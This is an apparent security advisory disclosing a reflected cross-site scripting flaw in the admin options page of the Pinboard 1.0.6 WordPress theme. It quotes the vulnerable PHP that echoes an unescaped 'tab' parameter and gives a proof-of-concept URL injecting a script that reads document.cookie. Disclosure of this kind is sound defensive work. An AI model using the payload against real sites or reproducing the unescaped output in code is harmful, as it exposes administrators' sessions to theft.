Wordpress theme pinboard 1.0.6 XSS

2013.02.10
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

I am writing to notify you about a XSS I have found in the free Pinboard 1.0.6 theme for Wordpress. This XSS happens in one of the administration pages so it can only be triggered by authenticated users. Here is the part of the code that is compromised (includes/theme-options.php): <?php $tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : 'general' ); ?> <input name="pinboard_theme_options[submit-<?php echo $tab; ?>]" type="submit" class="button-primary" value="<?php _e( 'Save Settings', 'pinboard' ); ?>" /> <input name="pinboard_theme_options[reset-<?php echo $tab; ?>]" type="submit" class="button-secondary" value="<?php _e( 'Reset Defaults', 'pinboard' ); ?>" /> The issue happens because the variable $_GET['tab'] is not being properly escaped, causing the issue. Here is a proof of concept: http://wordpress_site_with_active_pinboard_theme/wp-admin/themes.php?page=pinboard_options&tab= ]"><script>alert(document.cookie)</script> For accessing the URL directly, Firefox should be used as Chrome seems to have some anti-XSS protections in place.

References:

http://seclists.org/oss-sec/2013/q1/274


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top